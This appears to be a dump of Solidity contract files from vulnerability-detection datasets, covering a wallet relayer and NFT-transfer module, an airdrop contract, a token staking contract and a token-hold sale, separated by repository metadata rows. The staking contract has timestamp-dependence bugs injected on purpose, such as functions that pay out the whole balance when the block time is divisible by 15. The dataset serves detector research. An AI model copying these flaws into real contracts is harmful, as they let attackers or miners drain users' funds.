function recoverToken(address _token) external;
function moduleInfo(address _module) external view returns (bytes32);
function upgraderInfo(address _upgrader) external view returns (bytes32);
function isRegisteredModule(address _module) external view returns (bool);
function isRegisteredModule(address[] calldata _modules) external view returns (bool);
function isRegisteredUpgrader(address _upgrader) external view returns (bool);
}
contract GuardianStorage {
function addGuardian(BaseWallet _wallet, address _guardian) external;
function revokeGuardian(BaseWallet _wallet, address _guardian) external;
function guardianCount(BaseWallet _wallet) external view returns (uint256);
function getGuardians(BaseWallet _wallet) external view returns (address[] memory);
function isGuardian(BaseWallet _wallet, address _guardian) external view returns (bool);
function setLock(BaseWallet _wallet, uint256 _releaseAfter) external;
function isLocked(BaseWallet _wallet) external view returns (bool);
function getLock(BaseWallet _wallet) external view returns (uint256);
function getLocker(BaseWallet _wallet) external view returns (address);
}
contract BaseModule is Module {
ModuleRegistry internal registry;
event ModuleCreated(bytes32 name);
event ModuleInitialised(address wallet);
constructor(ModuleRegistry _registry, bytes32 _name) public {
registry = _registry;
emit ModuleCreated(_name);
}
modifier onlyWallet(BaseWallet _wallet) {
require(msg.sender == address(_wallet), "BM: caller must be wallet");
_;
}
modifier onlyWalletOwner(BaseWallet _wallet) {
require(msg.sender == address(this) || isOwner(_wallet, msg.sender), "BM: must be an owner for the wallet");
_;
}
modifier strictOnlyWalletOwner(BaseWallet _wallet) {
require(isOwner(_wallet, msg.sender), "BM: msg.sender must be an owner for the wallet");
_;
}
function init(BaseWallet _wallet) external onlyWallet(_wallet) {
emit ModuleInitialised(address(_wallet));
}
function addModule(BaseWallet _wallet, Module _module) external strictOnlyWalletOwner(_wallet) {
require(registry.isRegisteredModule(address(_module)), "BM: module is not registered");
_wallet.authoriseModule(address(_module), true);
}
function recoverToken(address _token) external {
uint total = ERC20(_token).balanceOf(address(this));
ERC20(_token).transfer(address(registry), total);
}
function isOwner(BaseWallet _wallet, address _addr) internal view returns (bool) {
return _wallet.owner() == _addr;
}
}
contract RelayerModule is Module {
uint256 constant internal BLOCKBOUND = 10000;
mapping (address => RelayerConfig) public relayer;
struct RelayerConfig {
uint256 nonce;
mapping (bytes32 => bool) executedTx;
}
event TransactionExecuted(address indexed wallet, bool indexed success, bytes32 signedHash);
modifier onlyExecute {
require(msg.sender == address(this), "RM: must be called via execute()");
_;
}
function getRequiredSignatures(BaseWallet _wallet, bytes memory _data) internal view returns (uint256);
function validateSignatures(BaseWallet _wallet, bytes memory _data, bytes32 _signHash, bytes memory _signatures) internal view returns (bool);
function execute(BaseWallet _wallet,
bytes calldata _data,
uint256 _nonce,
bytes calldata _signatures,
uint256 _gasPrice,
uint256 _gasLimit)
external
returns (bool success)
{
uint startGas = gasleft();
bytes32 signHash = getSignHash(address(this), address(_wallet), 0, _data, _nonce, _gasPrice, _gasLimit);
require(checkAndUpdateUniqueness(_wallet, _nonce, signHash), "RM: Duplicate request");
require(verifyData(address(_wallet), _data), "RM: the wallet authorized is different then the target of the relayed data");
uint256 requiredSignatures = getRequiredSignatures(_wallet, _data);
if((requiredSignatures * 65) == _signatures.length) {
if(verifyRefund(_wallet, _gasLimit, _gasPrice, requiredSignatures)) {
if(requiredSignatures == 0 || validateSignatures(_wallet, _data, signHash, _signatures)) {
(success,) = address(this).call(_data);
refund(_wallet, startGas - gasleft(), _gasPrice, _gasLimit, requiredSignatures, msg.sender);
}
}
}
emit TransactionExecuted(address(_wallet), success, signHash);
}
function getNonce(BaseWallet _wallet) external view returns (uint256 nonce) {
return relayer[address(_wallet)].nonce;
}
function getSignHash(address _from,
address _to,
uint256 _value,
bytes memory _data,
uint256 _nonce,
uint256 _gasPrice,
uint256 _gasLimit)
internal
pure
returns (bytes32)
{
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32",
keccak256(abi.encodePacked(byte(0x19), byte(0), _from, _to, _value, _data, _nonce, _gasPrice, _gasLimit))));
}
function checkAndUpdateUniqueness(BaseWallet _wallet, uint256 _nonce, bytes32 _signHash) internal returns (bool) {
if(relayer[address(_wallet)].executedTx[_signHash] == true) {
return false;
}
relayer[address(_wallet)].executedTx[_signHash] = true;
return true;
}
function checkAndUpdateNonce(BaseWallet _wallet, uint256 _nonce) internal returns (bool) {
if(_nonce <= relayer[address(_wallet)].nonce) {
return false;
}
uint256 nonceBlock = (_nonce & 0xffffffffffffffffffffffffffffffff00000000000000000000000000000000) >> 128;
if(nonceBlock > block.number + BLOCKBOUND) {
return false;
}
relayer[address(_wallet)].nonce = _nonce;
return true;
}
function recoverSigner(bytes32 _signedHash, bytes memory _signatures, uint _index) internal pure returns (address) {
uint8 v;
bytes32 r;
bytes32 s;
assembly {
r := mload(add(_signatures, add(0x20,mul(0x41,_index))))
s := mload(add(_signatures, add(0x40,mul(0x41,_index))))
v := and(mload(add(_signatures, add(0x41,mul(0x41,_index)))), 0xff)
}
require(v == 27 || v == 28);
return ecrecover(_signedHash, v, r, s);
}
function refund(BaseWallet _wallet, uint _gasUsed, uint _gasPrice, uint _gasLimit, uint _signatures, address _relayer) internal {
uint256 amount = 29292 + _gasUsed;
if(_gasPrice > 0 && _signatures > 1 && amount <= _gasLimit) {
if(_gasPrice > tx.gasprice) {
amount = amount * tx.gasprice;
}
else {
amount = amount * _gasPrice;
}
_wallet.invoke(_relayer, amount, "");
}
}
function verifyRefund(BaseWallet _wallet, uint _gasUsed, uint _gasPrice, uint _signatures) internal view returns (bool) {
if(_gasPrice > 0
&& _signatures > 1
&& (address(_wallet).balance < _gasUsed * _gasPrice || _wallet.authorised(address(this)) == false)) {
return false;
}
return true;
}
function verifyData(address _wallet, bytes memory _data) private pure returns (bool) {
require(_data.length >= 36, "RM: Invalid dataWallet");
address dataWallet;
assembly {
dataWallet := mload(add(_data, 0x24))
}
return dataWallet == _wallet;
}
function functionPrefix(bytes memory _data) internal pure returns (bytes4 prefix) {
require(_data.length >= 4, "RM: Invalid functionPrefix");
assembly {
prefix := mload(add(_data, 0x20))
}
}
}
contract OnlyOwnerModule is BaseModule, RelayerModule {
function checkAndUpdateUniqueness(BaseWallet _wallet, uint256 _nonce, bytes32 _signHash) internal returns (bool) {
return checkAndUpdateNonce(_wallet, _nonce);
}
function validateSignatures(BaseWallet _wallet, bytes memory _data, bytes32 _signHash, bytes memory _signatures) internal view returns (bool) {
address signer = recoverSigner(_signHash, _signatures, 0);
return isOwner(_wallet, signer);
}
function getRequiredSignatures(BaseWallet _wallet, bytes memory _data) internal view returns (uint256) {
return 1;
}
}
contract NftTransfer is BaseModule, RelayerModule, OnlyOwnerModule {
bytes32 constant NAME = "NftTransfer";
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
GuardianStorage public guardianStorage;
address public ckAddress;
event NonFungibleTransfer(address indexed wallet, address indexed nftContract, uint256 indexed tokenId, address to, bytes data);
modifier onlyWhenUnlocked(BaseWallet _wallet) {
require(!guardianStorage.isLocked(_wallet), "NT: wallet must be unlocked");
_;
}
constructor(ModuleRegistry _registry,
GuardianStorage _guardianStorage,
address _ckAddress)
BaseModule(_registry, NAME)
public
{
guardianStorage = _guardianStorage;
ckAddress = _ckAddress;
}
function init(BaseWallet _wallet) external onlyWallet(_wallet) {
_wallet.enableStaticCall(address(this), ERC721_RECEIVED);
}
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data)
external
returns (bytes4)
{
return ERC721_RECEIVED;
}
function transferNFT(BaseWallet _wallet,
address _nftContract,
address _to,
uint256 _tokenId,
bool _safe,
bytes calldata _data)
external
onlyWalletOwner(_wallet)
onlyWhenUnlocked(_wallet)
{
bytes memory methodData;
if(_nftContract == ckAddress) {
methodData = abi.encodeWithSignature("transfer(address,uint256)", _to, _tokenId);
} else {
if(_safe) {
methodData = abi.encodeWithSignature("safeTransferFrom(address,address,uint256,bytes)", address(_wallet), _to, _tokenId, _data);
} else {
require(isERC721(_nftContract, _tokenId), "NT: Non-compliant NFT contract");
methodData = abi.encodeWithSignature("transferFrom(address,address,uint256)", address(_wallet), _to, _tokenId);
}
}
_wallet.invoke(_nftContract, 0, methodData);
emit NonFungibleTransfer(address(_wallet), _nftContract, _tokenId, _to, _data);
}
function isERC721(address _nftContract, uint256 _tokenId) internal returns (bool) {
(bool success, bytes memory result) = _nftContract.call(abi.encodeWithSignature('supportsInterface(bytes4)', 0x80ac58cd));
if(success && result[0] != 0x0) return true;
(success, result) = _nftContract.call(abi.encodeWithSignature('supportsInterface(bytes4)', 0x6466353c));
if(success && result[0] != 0x0) return true;
(success,) = _nftContract.call(abi.encodeWithSignature('ownerOf(uint256)', _tokenId));
return success;
}
}
| 162,885 | 11,703 |
ecfd98e88ac9ca77c1b349d1184195084533162a24b344b002f630de084a86c1
| 11,103 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/3e/3ed5a8cf9e46a4027249207bafc2578551851847_NebulaProtoStarDrop.sol
| 3,074 | 10,437 |
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library nebuLib {
function addressInList(address[] memory _list, address _account) internal pure returns (bool){
for(uint i=0;i<_list.length;i++){
if(_account == _list[i]){
return true;
}
}
return false;
}
function mainBalance(address _account) internal view returns (uint256){
uint256 _balance = _account.balance;
return _balance;
}
function getMultiple(uint256 _x,uint256 _y)internal pure returns(uint256){
uint256 Zero = 0;
if (_y == Zero || _x == Zero || _x > _y){
return Zero;
}
uint256 z = _y;
uint256 i = 0;
while(z >= _x){
z -=_x;
i++;
}
return i;
}
}
abstract contract feeManager is Context {
function isInsolvent(address _account,string memory _name) external virtual view returns(bool);
function simpleQuery(address _account) external virtual returns(uint256);
function createProtos(address _account,string memory _name) external virtual;
function collapseProto(address _account,string memory _name) external virtual;
function payFee(uint256 _intervals,address _account) payable virtual external;
function changeName(string memory _name,string memory new_name) external virtual;
function viewFeeInfo(address _account,string memory _name) external virtual view returns(uint256,uint256,bool,bool,bool,bool);
function getPeriodInfo() external virtual returns (uint256,uint256,uint256);
function getAccountsLength() external virtual view returns(uint256);
function accountExists(address _account) external virtual view returns (bool);
function MGRrecPayFees(address _account) external virtual;
}
abstract contract ProtoManager is Context {
function addProto(address _account, string memory _name) external virtual;
function getProtoAccountsLength() external virtual view returns(uint256);
function getProtoAddress(uint256 _x) external virtual view returns(address);
function getProtoStarsLength(address _account) external virtual view returns(uint256);
}
abstract contract dropMGR is Context {
struct DROPS{
uint256 amount;
}
mapping(address => DROPS) public airdrop;
address[] public protoOwners;
}
abstract contract overseer is Context {
function getMultiplier(uint256 _x) external virtual returns(uint256);
function getBoostPerMin(uint256 _x) external virtual view returns(uint256);
function getRewardsPerMin() external virtual view returns (uint256);
function getCashoutRed(uint256 _x) external virtual view returns (uint256);
function getNftTimes(address _account, uint256 _id,uint256 _x) external virtual view returns(uint256);
function isStaked(address _account) internal virtual returns(bool);
function getNftAmount(address _account, uint256 _id) external view virtual returns(uint256);
function getFee() external virtual view returns(uint256);
function getModFee(uint256 _val) external virtual view returns(uint256);
function getNftPrice(uint _val) external virtual view returns(uint256);
function getEm() external virtual view returns (uint256);
}
contract NebulaProtoStarDrop is Ownable{
using SafeMath for uint256;
struct DROPS{
uint256 dropped;
uint256 claimed;
}
mapping(address => DROPS) public airdrop;
address[] public Managers;
address[] public protoOwners;
address[] public transfered;
address payable treasury;
address oldDrop = 0x93363e831b56E6Ad959a85F61DfCaa01F82164bb;
ProtoManager public protoMGR;
feeManager public feeMGR;
overseer public over;
modifier managerOnly() {require(nebuLib.addressInList(Managers,msg.sender)== true); _;}
constructor(address[] memory _addresses,address payable _treasury){
feeMGR = feeManager(_addresses[0]);
protoMGR = ProtoManager(_addresses[1]);
over = overseer(_addresses[2]);
treasury = _treasury;
Managers.push(owner());
transferOldDrops();
}
function payFee(uint256 _intervals) payable external {
address _account = msg.sender;
uint256 sent = msg.value;
uint256 fee = over.getFee();
require(feeMGR.simpleQuery(_account) > 0,"doesnt look like you owe any fees, you're either maxed out, or i glitched :0");
require(feeMGR.simpleQuery(_account) >= _intervals,"looks like youre attempting to overpay, less intervals next time please");
require(sent >= fee.mul(_intervals),"you have not sent enough to pay the amount of fees you are seeking to pay");
uint256 returnBalance = sent;
for(uint i=0;i<_intervals;i++){
treasury.transfer(fee);
uint256 returnBalance = sent - fee;
feeMGR.MGRrecPayFees(_account);
}
if(returnBalance > 0){
payable(_account).transfer(returnBalance);
}
}
function createProto(string memory _name) payable external {
address _account = msg.sender;
if(nebuLib.addressInList(protoOwners,_account) == false){
protoOwners.push(_account);
}
DROPS storage drop = airdrop[_account];
uint256 left = drop.dropped - drop.claimed;
require(left > 0,"you have already claimed all of your protos");
uint256 sent = msg.value;
uint256 fee = over.getFee();
require(sent >= fee,"you have not sent enough to pay a fee");
treasury.transfer(fee);
uint256 returnBalance = sent - fee;
if(returnBalance > 0){
payable(_account).transfer(returnBalance);
}
feeMGR.MGRrecPayFees(_account);
protoMGR.addProto(_account,_name);
drop.claimed += 1;
}
function addAirDrops(address[] memory _accounts,uint256[] memory _amounts,bool _neg) external managerOnly() {
for(uint i=0;i<_accounts.length;i++){
DROPS storage drop = airdrop[_accounts[i]];
if(_neg == false){
drop.dropped += _amounts[i];
}else{
if(drop.dropped != 0){
drop.dropped -= _amounts[i];
}
}
}
}
function transferOldDrops() internal {
uint length = protoMGR.getProtoAccountsLength();
for(uint i=0;i<length;i++){
address _account =protoMGR.getProtoAddress(uint256(i));
if(nebuLib.addressInList(transfered,_account) == false){
DROPS storage drop = airdrop[_account];
drop.claimed += protoMGR.getProtoStarsLength(protoMGR.getProtoAddress(uint256(i)));
drop.dropped += protoMGR.getProtoStarsLength(protoMGR.getProtoAddress(uint256(i)));
}
protoOwners.push(_account);
transfered.push(_account);
}
}
function updateManagers(address newVal) external onlyOwner {
if(nebuLib.addressInList(Managers,newVal) ==false){
Managers.push(newVal); //token swap address
}
}
function updateProtoManager(address newVal) external onlyOwner {
address _protoManager = newVal;
protoMGR = ProtoManager(_protoManager);
}
function updateFeeManager(address newVal) external onlyOwner {
address _feeManager = newVal;
feeMGR = feeManager(_feeManager);
}
function updateTreasury(address payable newVal) external onlyOwner {
treasury = newVal;
}
function updateOverseer(address newVal) external onlyOwner {
address _overseer = newVal;
over = overseer(_overseer);
}
}
| 79,080 | 11,704 |
1c4af09ac3bc33c73a3533787b5208234388dd7f7e3c9311dff16cdd5545b9ca
| 9,486 |
.sol
|
Solidity
| false |
441123437
|
1052445594/SoliDetector
|
171e0750225e445c2993f04ef32ad65a82342054
|
Solidifi-bugInjection-data/compareTool/SmartCheck-Injection-Data/Dependency_of_timestamp/Sol/buggy_33.sol
| 3,011 | 9,412 |
pragma solidity 0.4.25;
contract Owned {
function bug_tmstmp28 () public payable {
uint pastBlockTime_tmstmp28; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp28); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp28 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
address public owner;
address winner_tmstmp27;
function play_tmstmp27(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp27 = msg.sender;}}
address public newOwner;
uint256 bugv_tmstmp3 = block.timestamp;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
address winner_tmstmp2;
function play_tmstmp2(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp2 = msg.sender;}}
modifier onlyOwner {
require(msg.sender == owner || msg.sender == address(this));
_;
}
uint256 bugv_tmstmp4 = block.timestamp;
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
address winner_tmstmp19;
function play_tmstmp19(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp19 = msg.sender;}}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256) {
uint256 c = add(a,m);
uint256 d = sub(c,1);
return mul(div(d,m),m);
}
}
contract Token{
function balanceOf(address who) external view returns (uint256);
address winner_tmstmp18;
function play_tmstmp18(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp18 = msg.sender;}}
function transferFrom(address from, address to, uint256 value) external returns (bool);
function bug_tmstmp17() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
function transfer(address to, uint256 value) external returns (bool);
function bug_tmstmp16 () public payable {
uint pastBlockTime_tmstmp16; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp16); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp16 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
}
contract Staking is Owned{
address winner_tmstmp26;
function play_tmstmp26(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp26 = msg.sender;}}
Token public token;
function bug_tmstmp25() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
bool lock;
function bug_tmstmp24 () public payable {
uint pastBlockTime_tmstmp24; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp24); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp24 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
uint256 public minstakeTokens;
address winner_tmstmp23;
function play_tmstmp23(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp23 = msg.sender;}}
uint256 private basePercent = 200;
using SafeMath for uint256;
address winner_tmstmp22;
function play_tmstmp22(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp22 = msg.sender;}}
uint256 public stakeTime = 1814400; // 3 weeks = 3*7*24*60*60 OR 1 week = 604800 secs, 3 weeks = 3*604800 = 1,814,400
function bug_tmstmp21() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
uint public stakePercentage = 30;
uint256 bugv_tmstmp2 = block.timestamp;
event stakingstarted(address staker, uint256 tokens, uint256 time);
uint256 bugv_tmstmp1 = block.timestamp;
event tokensRedeemed(address staker, uint256 stakedTokens, uint256 reward);
struct stake{
uint256 time;
bool redeem;
uint256 tokens;
}
function bug_tmstmp20 () public payable {
uint pastBlockTime_tmstmp20; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp20); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp20 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
mapping(address => stake) staker;
constructor(address tokenContractAddress) public{
token = Token(tokenContractAddress);
owner = msg.sender;
minstakeTokens = 500 * 10 ** uint(10);
}
address winner_tmstmp15;
function play_tmstmp15(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp15 = msg.sender;}}
function startStaking(uint256 stakeTokens) public{
require(stakeTokens >= minstakeTokens);
require(token.balanceOf(msg.sender) >= stakeTokens + findOnePercent(stakeTokens));
require(token.transferFrom(msg.sender, address(this), stakeTokens + findOnePercent(stakeTokens)));
staker[msg.sender].time = now;
staker[msg.sender].tokens = staker[msg.sender].tokens + stakeTokens;
emit stakingstarted(msg.sender, staker[msg.sender].tokens, staker[msg.sender].time);
}
address winner_tmstmp14;
function play_tmstmp14(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp14 = msg.sender;}}
function redeem() public{
require(!lock);
require(!staker[msg.sender].redeem);
require(staker[msg.sender].time + stakeTime <= now);
require(token.transfer(msg.sender,staker[msg.sender].tokens));
require(token.transferFrom(owner, msg.sender ,staker[msg.sender].tokens * stakePercentage * 100 / 10000));
emit tokensRedeemed(msg.sender, staker[msg.sender].tokens, staker[msg.sender].tokens * stakePercentage * 100 / 10000);
staker[msg.sender].redeem = true;
staker[msg.sender].tokens = 0;
}
function bug_tmstmp13() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
function changeStakeTokens(uint256 _NewTokensThreshold) public onlyOwner{
minstakeTokens = _NewTokensThreshold * 10 ** uint(10);
}
function bug_tmstmp12 () public payable {
uint pastBlockTime_tmstmp12; // Forces one bet per block
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime_tmstmp12); // only 1 transaction per block //bug //Dependency_of_timestamp bug
pastBlockTime_tmstmp12 = now; //bug
if(now % 15 == 0) { // winner //bug //Dependency_of_timestamp bug
msg.sender.transfer(address(this).balance);
}
}
function changeStakeTime(uint256 _newStakeTime) public onlyOwner{
stakeTime = _newStakeTime;
}
address winner_tmstmp11;
function play_tmstmp11(uint startTime) public {
uint _vtime = block.timestamp;
if (startTime + (5 * 1 days) == _vtime){ //Dependency_of_timestamp bug
winner_tmstmp11 = msg.sender;}}
function changeStakingPercentage(uint _newStakePercentage) public onlyOwner{
stakePercentage = _newStakePercentage;
}
address winner_tmstmp10;
function play_tmstmp10(uint startTime) public {
if (startTime + (5 * 1 days) == block.timestamp){ //Dependency_of_timestamp bug
winner_tmstmp10 = msg.sender;}}
function lockWithdrawals() public onlyOwner{
lock = true;
}
function bug_tmstmp1() view public returns (bool) {
return block.timestamp >= 1546300800; //Dependency_of_timestamp bug
}
function findOnePercent(uint256 value) private view returns (uint256) {
uint256 roundValue = value.ceil(basePercent);
uint256 onePercent = roundValue.mul(basePercent).div(10000);
return onePercent;
}
uint256 bugv_tmstmp5 = block.timestamp;
}
| 223,843 | 11,705 |
d2b357f817f7e6bf3f09eec5acd6a64cf4f93a0b06ee13d654a7edb66293d0a4
| 17,875 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0xa098243bf19b7e5d75e0e4afaad61939606ccb21.sol
| 3,591 | 12,958 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract OpportyToken is StandardToken {
string public constant name = "OpportyToken";
string public constant symbol = "OPP";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
function OpportyToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract OpportyMonthHold is Pausable {
using SafeMath for uint256;
OpportyToken public token;
uint public holdPeriod;
address public multisig;
// start and end timestamps where investments are allowed
uint public startDate;
uint public endDate;
uint public endSaleDate;
uint private price;
uint public minimalContribution;
// total ETH collected
uint public ethRaised;
enum SaleState { NEW, SALE, ENDED }
SaleState public state;
mapping (uint => address) private assetOwners;
mapping (address => uint) private assetOwnersIndex;
uint public assetOwnersIndexes;
struct Bonus {
uint minAmount;
uint maxAmount;
uint8 bonus;
}
Bonus[] bonuses;
struct Holder {
bool isActive;
uint tokens;
uint holdPeriodTimestamp;
bool withdrawed;
}
mapping(address => Holder) public holderList;
mapping(uint => address) private holderIndexes;
uint private holderIndex;
event TokensTransfered(address contributor , uint amount);
